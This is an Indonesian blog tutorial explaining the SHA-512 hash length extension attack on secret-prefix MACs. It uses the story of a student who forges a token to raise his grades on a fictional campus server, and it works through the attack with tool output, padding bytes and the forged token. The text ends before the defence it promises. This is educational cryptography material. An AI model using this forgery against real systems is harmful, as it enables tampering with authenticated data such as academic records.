Mengeksploitasi Hash Length Extension Vulnerability

Dalam tulisan kali ini saya akan membahas tentang hash length extension attack, bagaimana cara eksploitasinya dan bagaimana cara agar program yang kita buat tidak bisa dieksploitasi dengan teknik serangan ini.

Fungsi hash kriptografis yang vulnerable terhadap serangan ini adalah fungsi hash yang menggunakan struktur Merkle-Damgard seperti MD5, SHA1, SHA2.

Dalam tulisan ini, fungsi hash yang dibahas adalah SHA-512 yang termasuk dalam keluarga SHA2. Fungsi hash lain MD5 dan SHA1 juga vulnerable namun tidak dibahas disini karena cara kerja dan prinsip dasarnya sama dengan serangan terhadap SHA-512.

Message Authentication Code (MAC)

MAC adalah suatu data yang digunakan sebagai otentikasi data dan menjamin keasliannya. Dalam gambar di bawah ini (sumber: wikipedia) menunjukkan salah satu use-case dari MAC, diilustrasikan bahwa Alice akan mengirim pesan ke Bob.

• Alice dan Bob sebelumnya harus sudah sepakat dengan suatu kunci rahasia
• Alice menghitung MAC dari pesan dengan kunci rahasia
• Alice mengirim MAC dan pesan ke Bob
• Bob menghitung MAC dari pesan yang diterima dengan kunci rahasia

Bila MAC yang dihitung Bob sama dengan MAC yang diterima dari Alice, maka Bob yakin bahwa:

• Pesan yang dikirim Alice masih asli, tidak diubah di tengah jalan oleh orang lain (Integrity)
• Pesan benar-benar dikirim dan dibuat oleh Alice (Authentication)

Pihak selain Alice dan Bob tidak bisa mengubah data yang dikirim Alice dan tidak bisa mengirim pesan seolah-olah berasal dari Alice karena untuk membuat MAC yang valid dibutuhkan kunci yang hanya diketahui Alice dan Bob saja.

Fungsi Hash untuk MAC

Fungsi kriptografis hash seperti MD5, SHA1, SHA2 bisa dipakai untuk membuat MAC dengan cara menghitung hash dari gabungan secret key dan data yang akan dilindungi oleh MAC :

MAC = HASH(secretkey + data) seperti MD5(secretkey + data), SHA1(secretkey + data), SHA2(secretkey + data)

Dengan fungsi hash seperti ini, pihak ketiga yang tidak mengetahui secret key tidak bisa membuat hash yang valid dari suatu data. Sebagai contoh, bila seseorang ingin mengirimkan dataX dia harus menyertakan pula MD5(secretkey + dataX) sebagai MAC, bila dia mengetahui secretkey maka dia bisa menghitung nilai MAC dengan mudah. Namun bila secretkey tidak diketahui bagaimana cara menghitung MD5(secretkey + dataX) ? Mungkinkah menghitung MD5(secretkey+dataX) tanpa mengetahui secretkey ?

Kisah seorang Mahasiswa Galau

Di suatu kampus di suatu negeri far far away, terdapat sistem informasi akademik yang mengelola catatan nilai semua mahasiswanya. Ada seorang mahasiswa yang sedang galau karena terancam DO bila IPK semester ini masih saja satu koma. Dia berpikir untuk mencurangi sistem akademik kampusnya, dan mulailah dia melakukan information gathering dengan tujuan untuk mencurangi sistem akademik kampusnya.

Dari hasil sniffing dia mengetahui bahwa pencatatan nilai dilakukan terpusat di server akademik kampusnya dengan menggunakan HTTP GET request seperti ini:

http://ServerAkademik:8888/kripto/updatenilaisha512.php?token=1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9&nilai=MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7

Si mahasiswa galau itu juga mencoba URL tersebut di browsernya, dan response yang muncul adalah:

Dari URL dan responsenya tersebut dia menduga bahwa untuk mengubah nilai dia harus menggunakan URL tersebut dengan parameter nilai berupa base64 dan parameter token berupa hash SHA512(secretkey+isi parameter nilai) yang berfungsi sebagai MAC dari isi parameter nilai, namun si mahasiswa tidak tahu secretkey yang dipakai.

Isi parameter nilai dari URL tersebut setelah didecode adalah ‘1300000023|CS321=C;CS442=B;’ dan kebetulan 1300000023 adalah NIM dia sendiri yang diikuti dengan nilai kuliahnya. Si mahasiswa kini paham bahwa untuk mengubah nilai parameter nilai harus mengikuti format (dikirim dalam bentuk base64 encoded):

NIM|KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;

Kini si mahasiswa galau telah mengetahui cara membuat IPKnya menjadi 4 adalah dengan mengirimkan request GET dengan parameter nilai yang berisi daftar kode matakuliah dan nilainya (semua dibuat ‘A’). Supaya perintah perubahan nilai diterima server, dia juga harus mengirimkan hash SHA512(secretkey+isi parameter nilai). Bila dia bisa mengirimkan SHA512 yang valid, server akan percaya bahwa request GET tersebut terpercaya dan mengupdate nilai sesuai isi paramter nilai.

Namun hasil information gathering ini justru membuat si mahasiswa semakin galau karena dia tidak tahu secretkey yang dibutuhkan untuk membuat hash SHA512 yang valid. Tanpa SHA512 yang valid, request pengubahan nilai tidak akan diterima server.

Bagaimana cara si mahasiswa galau mengubah nilai tanpa mengetahui secretkey ?

Hash Length Extension Attack

Secara sederhana hash length extension attack bisa digambarkan sebagai berikut:
Bila diketahui data dan nilai hash dari (secret + data), maka kita bisa menghitung hash dari (secret + data + datatambahan) walaupun tidak mengetahui secret.

Sebagai contoh, bila diketahui sha512(secret + ‘abcd’) adalah :

b51ca01e1054cd0cfa09316e53a1272ed43cf6286a18380b7758546026edf2c6af9f11251768b7510728e5c35324f0715b0d7717228865cf621a96ed3cef05a1

Maka kita bisa menghitung sha512(secret + ‘abcd’ + ‘efghijklmnopqrstuvwxyz’) walaupun kita tidak mengetahui secret. Untuk memahami bagaimana hash length extension ini terjadi kita harus melihat bagaimana hash sha512 dihitung.

Padding pada SHA-512

SHA-512 tidak menghitung hash semua data secara sekaligus.  SHA-512 menghitung data setahap demi setahap, blok demi blok, dimana setiap blok data harus berukuran 1024 bit (128 byte). Jadi setiap data yang akan dihash akan dipotong-potong dan disusun dalam blok-blok berukuran 1024 bit.

Bila data yang akan dihash tidak tepat berukuran kelipatan 1024 bit, maka dibutuhkan pre-processing berupa menambahkan bit-bit padding sebagai pengganjal agar ukurannya menjadi tepat kelipatan 1024 bit.

Padding dilakukan dalam dua langkah:

•  Menambahkan bit 1 di akhir data dan diikuti dengan bit 0 sejumlah yang diperlukan agar jumlahnya menjadi 128 bit kurang dari kelipatan 1024 bit.
• Sisa 128 bit yang akan melengkapi blok menjadi 1024 bit adalah panjang dari data (sebelum ditambahkan padding)

Sebagai ilustrasi, bila data yang akan di hash adalah ‘abcd’ maka pre-processing akan menyusun blok pada gambar di bawah ini.

Susunan byte 61626364 yang berwarna hijau adalah kode ascii ‘abcd’ yang akan dihash, kemudian diikuti dengan byte 0x80 sebagai awal dari padding. Byte 80 hexa digunakan sebagai awal padding karena dalam biner adalah 10000000, yaitu bit 1 yang diikuti rangkaian bit 0, padding dengan bit 0 terus dilanjutkan sampai berukuran 896 bit atau 128 bit kurang dari 1024. Padding ditutup dengan 128 bit panjang data dalam bit  yang berwarna biru. Dalam ilustrasi di atas panjang data ‘abcd’ adalah 4 atau 32 bit atau dalam hexa adalah 0x20.

Dalam contoh pertama ‘abcd’ data disusun dalam satu blok 1024 bit saja. Dalam ilustrasi kedua pada gambar di bawah ini, data yang akan dihash adalah huruf ‘A’ (0x41 hexa) sebanyak 150 karakter atau 1200 bit. Karena datanya berukuran 1200 bit, dalam kasus ini satu blok saja tidak cukup, sehingga dibutuhkan 2 blok.

Dalam gambar di atas yang berwarna hijau adalah data yang akan dihash. Blok 1024 bit pertama berisi karakter ‘A’ sebanyak 128 karakter (128 x 8 bit = 1024), kemudian sisanya 22 karakter lagi mengisi awal dari blok 2. Setelah data diikuti dengan byte 0x80 dan deretan byte 0x00 yang berwarna kuning sampai menggenapi 128 bit kurang dari 1024 pada blok yang ke-2. Padding diakhiri dengan 128 bit berwarna biru berisi panjang data dalam bit, dalam contoh ini panjangnya adalah 0x04B0 atau 1200 bit.

Bagaimana bila data yang akan dihash panjangnya sudah tepat 128 bit kurang dari 1024 bit ? Dalam contoh di bawah ini data yang akan di hash adalah huruf A sebanyak 112 karakter atau 896 bit (128 bit kurang dari 1024).

Walaupun data yang dihash sudah tepat 896 bit, padding yang berwarna kuning tetap harus ditambahkan sebelum padding panjang data yang berwarna biru. Sehingga proses padding akan menyusun dua blok seperti pada gambar di atas.

Komputasi SHA-512
SHA-512 menghitung nilai hash dengan cara memproses blok-blok berukuran 1024 bit. Gambar di bawah ini menunjukkan proses penghitungan SHA-512 data berupa deretan huruf A sebanyak 300 karakter. Data tersebut dipotong-potong dan ditambahkan padding sehingga menjadi 3 blok masing-masing berukuran 1024 bit.

Penghitungan hash suatu blok membutuhkan dua masukan, blok data 1024 bit dan hash dari blok sebelumnya. Kemudian hash dari suatu blok akan menjadi input untuk menghitung hash blok selanjutnya, dan proses ini terus berlanjut sampai semua blok telah dihitung hashnya.

Hash blok terakhir adalah nilai hash final dari data

Khusus untuk memroses blok pertama, hash yang dipakai sebagai input adalah intial hash value yang didefinisikan dalam FIPS 180-3 sebagai:

H0 = 0x6a09e667f3bcc908
H1 = 0xbb67ae8584caa73b
H2 = 0x3c6ef372fe94f82b
H3 = 0xa54ff53a5f1d36f1
H4 = 0x510e527fade682d1
H5 = 0x9b05688c2b3e6c1f
H6 = 0x1f83d9abfb41bd6b
H7 = 0x5be0cd19137e2179

Gabungan dari 8 variabel di atas membentuk initial hash value:
6a09e667f3bcc908bb67ae8584caa73b3c6ef372fe94f82ba54ff53a5f1d36f1510e527fade682d19b05688c2b3e6c1f1f83d9abfb41bd6b5be0cd19137e2179

yang diperlukan untuk menghitung hash suatu blok adalah hash (bukan isi) blok sebelumnya

Kita tidak perlu tahu dan tidak peduli isi blok sebelumnya untuk menghitung hash suatu blok. Sekali lagi perhatikan ilustrasi gambar di atas:

1. Untuk menghitung hash blok ke-2 kita tidak perlu tahu isi blok pertama, kita hanya perlu tahu hash blok pertama
2. Untuk menghitung hash blok ke-3 (karena hanya ada 3 blok, maka hash blok ke-3 adalah final hash), isi blok pertama dan kedua tidak diperlukan, kita hanya perlu hash blok kedua

Isi blok sebelumnya tidak penting, yang penting adalah hashnya

Eksploitasi Length Extension Attack

Bila diketahui hash(N bytes of unknown data X) adalah H, maka kita bisa menghitung hash(N bytes of unknown data X + padding + append).

Setelah mengerti proses padding dan penghitungan hash SHA512 sekarang kalau kita melihat hash SHA512 dari suatu data, misalkan SHA512 dari ‘A’ sebanyak 300 karakter adalah ‘689699398b28bae3…’ perlu diingat bahwa:

• Hash ‘689699398b28bae3…’ itu adalah hash dari blok terakhir (blok ke-3 dalam contoh ini)
  
• Data yang dihash sebenarnya adalah gabungan ‘A’x300 + byte padding
  
• Hash itu bisa dijadikan input untuk menghitung hash blok data tambahan lain

Bagaimana bila kita tidak tahu isi dari 300 byte data tersebut ?

Bila diketahui SHA512 ( 300 bytes of unknown data ) adalah:
689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715

Berapakah SHA512 ( 300 bytes of unknown data + padding byte + 'BBBBB') ??

Proses di Server

Dengan memanfaatkan cara kerja SHA512 kita bisa meng-extend penghitungan hash 300 byte data yang sebelumnya final di blok ke-3 menjadi baru final di blok ke-4 (atau mungkin ke-5, ke-6 tergantung ukuran data tambahan ) karena kita tambahkan data baru.

Data yang akan ditambahkan client adalah ‘BBBBB’ (42 42 42 42 42). Data tambahan tersebut harus diletakkan di blok baru (blok ke-4) seperti pada gambar di atas agar client bisa menghitung hash 4 blok data tanpa harus tahu isi blok ke-1, blok ke-2 dan blok ke-3.

Proses yang terjadi di server umumnya adalah verifikasi apakah MAC dan data yang dikirim client valid atau tidak. Server akan menggabungkan (concat) ‘A’x300 + data yang dikirim client, baru kemudian menghitung hash dari hasil penggabungan data tersebut.

$data = str_repeat('A', 300);
$append = 'client appended data'
$servermac = hash('sha512',$data.$append)."\n";

Yang perlu diingat adalah hasil dari penggabungan (concat) yang dilakukan server harus tetap menjaga agar isi blok 1, blok 2 dan blok 3 tetap sama seperti ketika menghitung hash ‘A’x300.

Mari kita lihat bagaimana kalau client mengirimkan $append = ‘BBBBB’ ? Server akan menggabungkan ‘A’x300 + ‘BBBBB’ yang membentuk blok yang berbeda seperti gambar di bawah ini. Blok pertama dan kedua gambar di kiri masih sama dengan yang kanan , tapi blok ke-3 berbeda. Pada gambar di kiri, setelah byte 41 (‘A’) langsung diikuti dengan byte 42 (‘B’) sebanyak 5x. Karena bloknya berbeda, tentu hash blok ke-3 berbeda, bukan lagi ‘689699398b…’ sehingga client tidak bisa lagi menggunakan hash ‘689699398b…’ sebagai input untuk memproses blok berikutnya.

Oke jadi kita tidak boleh langsung mengirimkan data tambahan ‘BBBBB’ karena ketika diconcat akan menghasilkan hash yang berbeda dengan yang sudah diketahui ‘689699398b…’.

Agar blok 1, 2 dan 3 tetap sama ketika diconcat, maka data yang diappend tidak boleh langsung ‘BBBBB’. Data yang di append client harus didahului dengan ’80 00 00 00 … 09 60′ untuk menutup blok ke-3, baru kemudian diikuti dengan ‘BBBBB’ (42 42 42 42 42). Mari kita lihat blok yang terbentuk bila ‘A’x300 diconcat dengan ’80 00 00 00 … 09 60 42 42 42 42 42’

Hasil gabungan 300x’A’ di server + data yang dikirim client + padding byte akan membentuk 4 blok dibawah ini.

Pada gambar di atas, data yang diappend client adalah yang hijau terang. Terlihat bahwa blok 1,2,3 tetap sama, dan string ‘BBBBB’ berada di blok baru. Ini adalah blok yang benar, jadi kita kini sudah tahu data yang harus diappend client adalah ’80 00 00 00 … 09 60 42 42 42 42 42′.

Proses penghitungan hash data hasil concat ‘A’x300 dan data yang diappend client (’80 00 00 … 09 60 42 42 42 42 42), terlihat pada gambar di bawah ini. Kalau sebelumnya, hash blok ke-3 (689699398b….) adalah final hash, sekarang hash tersebut menjadi input untuk menghitung hash blok ke-4. Perhatikan juga byte berwarna biru yang berisi panjang data dalam bit bernilai 0C 28 atau 3112 bit / 389 byte (300 byte ‘A’ + 84 byte pad + 5 byte ‘B’).

Mari kita hitung SHA512 dari 300 huruf A + data yang diappend client dengan script php pendek berikut.

$data = str_repeat('A', 300);
$append = 
	"\x80\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x09\x60".
	"\x42\x42\x42\x42\x42";
print hash('sha512',$data.$append)."\n";

Output dari program di atas:
587b5638d9f73a0c255c2ae700c84ea6e1e1dd662054c7e0d84c65f2fa94c39f522d52cc99c0b3e912a6cdc6c2f49bf3bef0619af71205a462fe3871b9551daf

Proses di Client

Server bisa dengan mudah menghitung SHA512 karena memang server mengetahui isi dari 300 byte datanya adalah huruf A sebanyak 300, jadi dia hanya perlu melakukan penggabungan (concat) dengan data yang diappend client dan menghitung hashnya seperti biasa.

Lalu bagaimana dengan client ? Dia tidak tahu isi datanya, dia hanya tahu bahwa datanya berukuran 300 byte dan hashnya.

Cara menghitungnya di sisi client mudah saja, hampir sama dengan menghitung SHA512 biasa, namun dengan sedikit perbedaan:

1. Penghitungan hash tidak mulai dari nol, tidak mulai dari blok pertama. Hash dari 300 byte unknown data tersebut dipakai sebagai input untuk menghitung blok ke-4 (tidak memakai default initial hash value).
2. Blok ke-4 berisi ‘BBBBB’ dan byte padding seperti biasa untuk menggenapi menjadi 1024 bit. Namun padding 128 bit terakhir yang berisi panjang data dalam bit, ada sedikit perbedaan. Panjang data yang ditulis bukan hanya 40 bit (5 byte), tapi panjang datanya adalah 128*3 (3 blok data) + 5 byte. Jadi walaupun client hanya menghitung blok ke-4 saja, tapi perhitungannya blok ini seolah-olah adalah kelanjutan dari penghitungan blok 1, 2 dan 3 jadi panjang datanya adalah gabungan 3 blok + 5 byte ‘B’.

Tentu saja untuk mengakomodir perbedaan/perlakuan khusus tersebut kita tidak bisa menggunakan fungsi SHA512 yang standar. Saya mulai dengan mengimplementasi algoritma SHA512 berdasarkan standar FIPS 180-3 dengan python kemudian memodifikasi sedikit menjadi tools sha512-extender. Silakan download toolsnya: SHA512-EXTENDER

Berikut adalah output dari tools sha512-extender.

rizki$ ./sha512-extender.py 
./sha512-extender.py [knownMAC] [knownData] [appendedText] [keyLen]

rizki$ ./sha512-extender.py 689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715 '' 'BBBBB' 300
Injection Data in Hex Format:
00000: 80 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 09 60 42 42 42 42 - 42

Injection Data in Base64 Encoded Format:
gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlgQkJCQkI=

########## Original Message ##########
00000: 42 42 42 42 42

########## 1st Padding ##########
00000: 42 42 42 42 42 80 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00

########## Final Padded Blocks ##########
00000: 42 42 42 42 42 80 00 00 - 00 00 00 00 00 00 00 00 
00016: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 0C 28

########## Words ##########

## Block 0
00000: 42 42 42 42 42 80 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 0C 28 -

#####################################################################################################################################################################
Initial Hash value              : 689699398b28bae3c2a4d8a6eaa995fd7fbabd41c90c09fad4152cf3cdcbf8bbc89979d0a8aaf64a840c70d1bf9551cbb6bce93716f7c8f945124b2f50c7a715

Memproses Blok 0
Intermediate SHA512 for block 0 : 587b5638d9f73a0c255c2ae700c84ea6e1e1dd662054c7e0d84c65f2fa94c39f522d52cc99c0b3e912a6cdc6c2f49bf3bef0619af71205a462fe3871b9551daf

Perhatikan bahwa tools sha512-extender.py menghasilkan hash ‘587b5638d9f73a….’ yang sama persis dengan yang dihitung oleh server. Namun bedanya kita menghitung hash tersebut tanpa mengetahui isi dari 300 byte data aslinya.

Kalau client mengirimkan hash ‘587b5638d9f73a…’ dan data yang di append (80 00 00 … 42 42 42 42 42) tersebut ke server, server tidak akan komplain karena hash yang dikirim client akan sama persis dengan hash yang dihitung di server walaupun client tidak tahu isi 300 byte datanya. Yes, We Win!

Kisah Mahasiswa Galau (part 2)

Si mahasiswa galau yang pantang menyerah, akhirnya mengetahui tentang hash length extension attack dan mulai menyusun rencana untuk menyerang. Si mahasiswa juga sudah mengetahui bahwa panjang kunci rahasia di aplikasi akademik tersebut adalah 14 karakter.

Dia menduga bahwa source code di server akan berbentuk kurang lebih seperti ini:

$data = base64_decode($_GET['nilai']);
$token = $_GET['token'];
$secretkey = "xxxxxxxxxxxxxx"; // unknown 14 byte data
if (hash('sha512',$secretkey.$data) == $token) {
	// OK
} else {
       // ERROR
}

Berikut informasi yang sudah diketahui si mahasiswa galau:

Parameter nilai:
MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7 ('1300000023|CS321=C;CS442=B;')
Parameter token, SHA512('unknown 14 byte key'+'1300000023|CS321=C;CS442=B;'): 
1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9
Panjang kunci: 14

Karena setiap nilai dipisahkan dengan titik-koma, maka si mahasiswa ingin menambahkan data ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ di akhir data aslinya supaya nilainya berubah menjadi A untuk 5 mata kuliah itu.

Parameter nilai yang akan dikirim (asli+padding+tambahan) :
'1300000023|CS321=C;CS442=B;'+byte padding+';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;'
Token:
SHA512('unknown 14 byte key'+'1300000023|CS321=C;CS442=B;'+byte padding+';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;')

Kali ini si mahasiswa sudah tidak galau lagi, walaupun dia tidak tahu isi ‘unknown 14 byte key’, dia tetap bisa menghitung token yang valid karena dia mengetahui SHA512(‘unknown 14 byte key’+’1300000023|CS321=C;CS442=B;’). Kalau sudah tahu SHA512(A+B), mencari SHA512(A+B+C) itu mudah walaupun tidak tahu A dan B.

Dengan hash length extension attack, dia tinggal melanjutkan penghitungan hashnya dengan blok data baru untuk mendapatkan nilai hash yang baru. Dia memakai tools sha512-extender untuk menghitung mac yang valid.

rizki$ ./sha512-extender.py 
./sha512-extender.py [knownMAC] [knownData] [appendedText] [keyLen]
rizki$ ./sha512-extender.py 1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9 '1300000023|CS321=C;CS442=B;' ';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;' 14
Injection Data in Hex Format:
00000: 31 33 30 30 30 30 30 30 - 32 33 7C 43 53 33 32 31 
00016: 3D 43 3B 43 53 34 34 32 - 3D 42 3B 80 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 01 48 3B 43 53 31 31 34 - 3D 41 3B 43 53 35 32 31 

00128: 3D 41 3B 43 53 32 32 31 - 3D 41 3B 43 53 31 32 35 
00144: 3D 41 3B 43 53 34 34 34 - 3D 41 3B

Injection Data in Base64 Encoded Format:
MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFIO0NTMTE0PUE7Q1M1MjE9QTtDUzIyMT1BO0NTMTI1PUE7Q1M0NDQ9QTs=

########## Original Message ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B

########## 1st Padding ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B 80 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00

########## Final Padded Blocks ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B 80 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 05 48

########## Words ##########

## Block 0
00000: 3B 43 53 31 31 34 3D 41 -
00000: 3B 43 53 35 32 31 3D 41 -
00000: 3B 43 53 32 32 31 3D 41 -
00000: 3B 43 53 31 32 35 3D 41 -
00000: 3B 43 53 34 34 34 3D 41 -
00000: 3B 80 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 05 48 -

#####################################################################################################################################################################
Initial Hash value              : 1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9

Memproses Blok 0
Intermediate SHA512 for block 0 : 48be6ba7fa90e7312dec0f169783f7b3722cce4be8e80b7e75ccf0f3d955794c368a3ada05ab3f95ee07d37f4a99b98a0e16569aacc0e8777ca54b1c89344ad7

Perhatikan output dari tools tersebut, data yang akan dikirim ke server adalah:

Injection Data in Hex Format:
31 33 30 30 30 30 30 30 - 32 33 7C 43 53 33 32 31 
3D 43 3B 43 53 34 34 32 - 3D 42 3B 80 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
01 48 3B 43 53 31 31 34 - 3D 41 3B 43 53 35 32 31 

3D 41 3B 43 53 32 32 31 - 3D 41 3B 43 53 31 32 35 
3D 41 3B 43 53 34 34 34 - 3D 41 3B

Data tersebut kalau disusun ulang sususannya menjadi berbentuk blok 1024 bit menjadi:

?? ?? ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? 31 33 
30 30 30 30 30 30 32 33 - 7C 43 53 33 32 31 3D 43 
3B 43 53 34 34 32 3D 42 - 3B 80 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 01 48

3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
3B 43 53 34 34 34 3D 41 - 3B

Ada sebanyak 14 tanda tanya pada blok di atas, itu adalah secret key yang tidak diketahui oleh si mahasiswa. Di server nanti, secret key yang panjangnya 14 byte akan diconcat dengan data yang dikirim mahasiswa galau, sehingga tanda tanya di atas akan terisi dengan secret key dan menjadi lengkap 1 blok. Blok pertama tersebut isinya sama dengan blok pertama ketika menghitung hash SHA512(‘s4nG4t#R4h4514’+’1300000023|CS321=C;CS442=B;’) yang menghasilkan hash ‘1af41c81d665f0…’.

Setelah menutup blok pertama dengan ’01 48′, data matakuliah dan nilai yang ditambahkan si mahasiswa akan mengisi awal dari blok kedua.

Dengan tools sha512-extender si mahasiswa juga sudah mendapatkan MAC yang valid untuk data ‘1300000023|CS321=C;CS442=B;’+padding+’;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ yaitu ’48be6ba7fa90e….’

Token:
48be6ba7fa90e7312dec0f169783f7b3722cce4be8e80b7e75ccf0f3d955794c368a3ada05ab3f95ee07d37f4a99b98a0e16569aacc0e8777ca54b1c89344ad7
Nilai (base64 encoded):
